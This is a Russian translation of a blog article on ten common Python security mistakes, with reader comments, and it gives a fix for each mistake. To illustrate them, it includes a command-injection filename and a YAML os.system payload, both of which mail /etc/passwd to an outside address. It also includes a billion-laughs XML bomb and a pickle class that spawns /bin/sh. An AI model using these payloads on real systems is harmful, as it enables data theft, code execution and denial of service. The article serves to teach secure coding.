10 самых распространенных ошибок безопасности в Python и как их избежать

Автор оригинала: Anthony Shaw
  • Перевод
Всем привет!

Наша очередная группа по Python успешно запустилась в понедельник, но у нас остался ещё один материальчик, который мы не успели разместить до старта. Исправляем нашу оплошность и надеемся, что он вам понравится.

Поехали!

Писать защищенный код сложно. Когда вы изучаете язык, модуль или фреймворк, вы узнаете, как это предполагается использовать. Вам также нужно подумать о том, как их можно использовать неправильно в контексте безопасности. Python не является исключением, даже в документации стандартной библиотеки есть описание плохих практик написания защищенных приложений. Тем не менее, многие Python-разработчики просто не знают о них.



Вот мой топ-10 (в случайном порядке) самых распространенных ошибок в приложениях, написанных на Python.

1. Внедрение инъекций


Существует множество типов атак с внедрением кода и все они достаточно распространены. Они затрагивают все языки, фреймворки и окружения.

Внедрение SQL — это когда вы пишете SQL-запросы напрямую, а не с помощью ORM и смешиваете строковые литералы с переменными. Я прочитал много кода, где «экранирование кавычек» считается исправлением. Это не так. Вы можете ознакомиться со многими способами внедрения SQL в этой шпаргалке.

Внедрение команд — это когда в любое время вы вызываете процесс с помощью popen, subprocess, os.system и принимаете аргументы от переменных. При вызове локальных команд существует возможность того, что кто-то установит эти значения на что-то вредоносное.

Представьте себе этот простой скрипт [credit]. Вы вызываете подпроцесс с именем файла, предоставленным пользователем:

import subprocess
def transcode_file(request, filename):
   command = 'ffmpeg -i "{source}" output_file.mpg'.format(source=filename)
   subprocess.call(command, shell=True)  # a bad idea!

Злоумышленник устанавливает значение filename "; cat /etc/passwd | mail them@domain.com или что-то такое же опасное.

Решение:

Стерилизируйте ввод с помощью утилит, которые идут вместе с вашем веб-фреймворком, если используете какой-то. Если у вас нет веских причин, не создавайте SQL-запросы вручную. Большинство ORM имеют встроенные методы дезинфекции.

Для оболочки используйте модуль shlex, чтобы правильно экранировать ввод.

2.Парсинг XML


Если ваше приложение загружает и парсит XML-файлы, есть вероятность того, что вы используете один из стандартных библиотечных модулей XML. Существует несколько распространенных атак через XML. В основном в DoS-стиле (предназначенные для того, чтобы уронить систему, а не для фильтрации данных). Эти атаки являются достаточно распространенными, особенно если вы парсите внешние (т.е. те, которым нельзя доверять) XML-файлы.

Один из них называется “billion laughs” (дословно “миллиард смеха”) из-за полезной нагрузки, обычно содержащей много (миллиарды) «lol». В принципе, идея состоит в том, что вы можете делать ссылочные объекты в XML, поэтому, когда ваш непритязательный XML-парсер пытается загрузить этот файл в память, он потребляет гигабайты оперативной памяти. Попробуйте, если не верите мне :-)

<?xml version="1.0"?>
<!DOCTYPE lolz [
 <!ENTITY lol "lol">
 <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
 <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
 <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
 <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
 <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
 <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
 <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
 <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>

Другие атаки используют расширение внешней сущностью. XML поддерживает ссылки на сущности из внешних URL-адресов, парсер XML обычно запрашивает и загружает этот ресурс без каких-либо проблем. «Злоумышленник может обойти брандмауэры и получить доступ к ограниченным ресурсам, поскольку все запросы сделаны из внутреннего и надежного IP-адреса, а не извне».

Еще одна ситуация, которую стоит рассмотреть — это сторонние пакеты для декодирования XML, от которых вы зависите, такие как файлы конфигурации, удаленные API. Возможно, вы даже не подозреваете, что одна из ваших зависимостей открыта для таких типов атак.
Что же происходит в Python? Ну, стандартные библиотечные модули, etree, DOM, xmlrpc широко открыты для таких атак. Это хорошо документировано тут.

Решение:

Используйте defusedxml в качестве замены для стандартных модулей библиотеки. Он добавляет защитные меры против таких типов атак.

3. Инструкции Assert


Не используйте assert для защиты фрагментов кода, к которым пользователь не должен обращаться. Возьмем этот простой пример:

def foo(request, user):
  assert user.is_admin, “user does not have access”
  # secure code...

Сейчас по умолчанию Python выполняется с __debug__ равным true, но в боевом окружении он обычно запускается с оптимизацией. Инструкция assert будет пропущена и программа перейдет прямо к защищенному коду независимо от того, является ли пользователь is_admin или нет.

Решение:

Используйте инструкции assert только для взаимодействия с другими разработчиками, например, в модульных тестах или для защиты от неправильного использования API.

4. Временные атаки


Временные атаки — это, по сути, способ разоблачения поведения и алгоритма программы путем определения времени, необходимого для сравнения предоставленных значений. Временные атаки требуют точности, поэтому они обычно не работают в удаленной сети с высокой задержкой. Из-за переменной задержки, связанной с большинством веб-приложений, практически невозможно записать временную атаку через HTTP веб-серверы.

Но если у вас есть приложение командной строки, которое запрашивает пароль, злоумышленник может написать простой скрипт, чтобы вычислить сколько времени потребуется для сравнения их значений с фактическим паролем. Пример.

Если вы хотите увидеть, как они работают, есть несколько впечатляющих примеров, таких как эта временная атака на основе SSH, написанная на Python.

Решение:

Используйте secrets.compare_digest, введенный в Python 3.5 для сравнения паролей и других приватных значений.

5. Загрязнённый site-packages или путь импорта


В Python очень гибкая система импорта. Это здорово, когда вы пытаетесь написать monkey-патчи для своих тестов или перегружаете основные функции.

Но это одна из самых больших дыр в безопасности Python.

Установка сторонних пакетов в ваш site-packages, будь то в виртуальном окружении или глобальный site-packages (что обычно обескураживает), обеспечивает вам дыры в безопасности в этих пакетах.

Были случаи публикации пакетов PyPi с именами, похожими на имена популярных пакетов, но выполняющие произвольный код. Самое большое инцидент, к счастью, не был опасным и просто «поставил точку» в том, что на проблему не обращали внимания.

Другая ситуация, о которой нужно подумать, — это зависимости ваших зависимостей (и т. д.). Они могут включать уязвимости, и они также могут переопределять поведение по умолчанию в Python через систему импорта.

Решение:

Проверяйте ваши пакеты. Посмотрите на PyUp.io и на их службу безопасности. Используйте виртуальное окружение для всех приложений и убедитесь, что ваш глобальный site-packages максимально чистый. Проверьте подписи пакетов.

6. Временные файлы


Чтобы создать временные файлы в Python, вы обычно сначала генерируете имя файла, используя функцию mktemp(), а затем создаете файл с использованием сгененрированного имени. «Это небезопасно, потому что другой процесс может создать файл с таким же именем за время между вызовом mktemp() и последующей попыткой создать файл первым процессом». Это означает, что он может обмануть ваше приложение либо загружая неправильные данные, либо подвергая опасности другие временные данные.

Последние версии Python будут показывать runtime предупреждение, если вы вызываете неправильный метод.

Решение:

Используйте модуль tempfile и используйте mkstemp, если вам нужно создавать временные файлы.

7. Использование yaml.load


Цитируя документацию PyYAML:

Предупреждение. Небезопасно вызывать yaml.load с любыми данными, полученными от ненадежного источника! yaml.load так же эффективен, как pickle.load, и поэтому может вызывать любую функцию Python.

Этот прекрасный пример найден в популярном проекте Ansible. Вы можете отдать Ansible Vault значение в качестве (валидного) YAML. Он вызывает os.system() с аргументами, представленными в файле.

!!python/object/apply:os.system ["cat /etc/passwd | mail me@hack.c"]

Таким образом, загружая файлы YAML из предоставленных пользователем значений вы широко открыты для атаки.


Демонстрация этого в действии, благодарю Anthony Sottile

Решение:

Используйте yaml.safe_load, почти всегда, если у вас нет действительно веской причины не делать этого.

8. Pickles


Десериализация консервированных данных — это так же плохо, как и YAML. Классы Python могут объявлять магический метод __reduce__, который возвращает строку, или кортеж с вызываемым, и передавать аргументы для вызова при консервации. Злоумышленник может использовать это для включения ссылок на один из модулей подпроцесса для запуска произвольных команд на хосте.

Этот замечательный пример показывает, как консервировать класс, который открывает оболочку на Python 2. Есть еще много примеров того, как использовать pickle.

import cPickle
import subprocess
import base64

class RunBinSh(object):
 def __reduce__(self):
   return (subprocess.Popen, (('/bin/sh',),))

print base64.b64encode(cPickle.dumps(RunBinSh()))

Решение:

Никогда не расконсервируйте данные из ненадежного или не прошедшего проверку источника. Вместо этого используйте другой шаблон сериализации, например JSON.

9. Использовать систему Python runtime и не патчить ее


Большинство POSIX-систем поставляются с версией Python 2. Естественно, уже устаревшей.

Поскольку «Python», то есть CPython написан на C, бывают случаи, когда интерпретатор Python сам имеет дыры. Общие проблемы безопасности в C связаны с распределением памяти, как и ошибки переполнения буфера.

На протяжении многих лет у CPython было несколько уязвимостей превышения или переполнения, каждый из которых был исправлен и пофикшен в последующих релизах.
Так что вы в безопасности. Точнее, если вы устанавливаете патчи для вашего runtime.

Вот пример для версии 2.7.13 и ниже, уязвимость с переполнением целых чисел, которая позволяет выполнять код. Этот пример для любой Ubuntu до 17 версии без установленных патчей.

Решение:

Установите последнюю версию Python для ваших боевых приложений и все патчи!

10. Не устанавливать патчи для ваших зависимостей


Подобно тому, как вы «не устанавливаете» патчи для своего runtime, вам также необходимо регулярно устанавливать патчи для ваших зависимостей.

Я думаю, что практика «закрепления» версий пакетов Python от PyPi в пакетах ужасает. Идея заключается в том, что «это версии, которые работают», поэтому каждый оставляет ее в покое.

Все уязвимости в коде, о которых я упоминал выше, так же важны, когда они существуют в пакетах, которые использует ваше приложение. Разработчики этих пакетов исправляют проблемы безопасности. Все время.

Решение:

Используйте сервисы, такие как PyUp.io, чтобы проверять наличие обновлений, настроить запросы на загрузку/слияние в приложение и запустить тесты для обновления пакетов.
Используйте инструменты, например, InSpec, для проверки установленных версий в продакшен окружении и обеспечения исправления минимальных версий или диапазонов версий.

Вы пробовали Bandit?

Есть большой статический линтер, который найдет все эти проблемы в вашем коде и многое другое! Он называется bandit, просто pip install bandit и bandit ./codedir

PyCQA/bandit

Выражаю благодарность RedHat за эту замечательную статью, которую я использовал в некоторых своих исследованиях.

THE END!

Как всегда будем рады видеть ваши комментарии и вопросы :)
  • +29
  • 14k
  • 6
OTUS. Онлайн-образование
527,91
Цифровые навыки от ведущих экспертов
Поделиться публикацией

Комментарии 6

    +7

    "Внедрение SQL — это когда вы пишете SQL-запросы напрямую, а не с помощью ORM"
    … а не с помощью параметризованных запросов.

      0
      Из этого списка хотя бы половина относятся конкретно к Python? Заголовок не оправдал содержания
        0
        Несколько вещей относятся к стандартным библиотекам Python (вроде парсинга XML/YAML).
        То что некоторые пункты относятся сразу ко множеству языков — не значит что оно не относится к Python, соответственно название валидно: как уточнение, что у питона вот эти штуки точно так же не пофикшены, как и у остальных языков.

        Сам довольно активно применяю в работе язык Lua, к нему множество вещей из статьи тоже подходит, а что-то — нет, например, сторонние библиотеки зачастую далеко не такие умные как питоновые (большинство библиотек для парсинга XML не упадёт из-за lol/не будет грузить XML-включения по причине собственной тупости), но те же SQL/Shell-инъекции — замечательно срабатывают.
        +1
        Мне XML понравился. Атака весьма старая — современный парсер ей подвержен?
          +2

          Это задокументированное и ожидаемое поведение XML. Что тут может поменяться? Полезно, конечно, иметь рубильник против таких наворотов.

          0

          При использование subprocess и аналогов просто не нужно передавать строку. это не только небезопасно, но и бессмысленно, ведь вы сначала склеиваете аргументы в строку, чтобы затем шелл распарсил их и передал в виде сишного массива в int execv(const char *path, char *const argv[]);. Передавайте аргументы по отдельности:


              subprocess.check_call(["convert", filename,"-resize", "500", outfile ])

          Это относится ко всем языкам.

          Только полноправные пользователи могут оставлять комментарии. Войдите, пожалуйста.

          Самое читаемое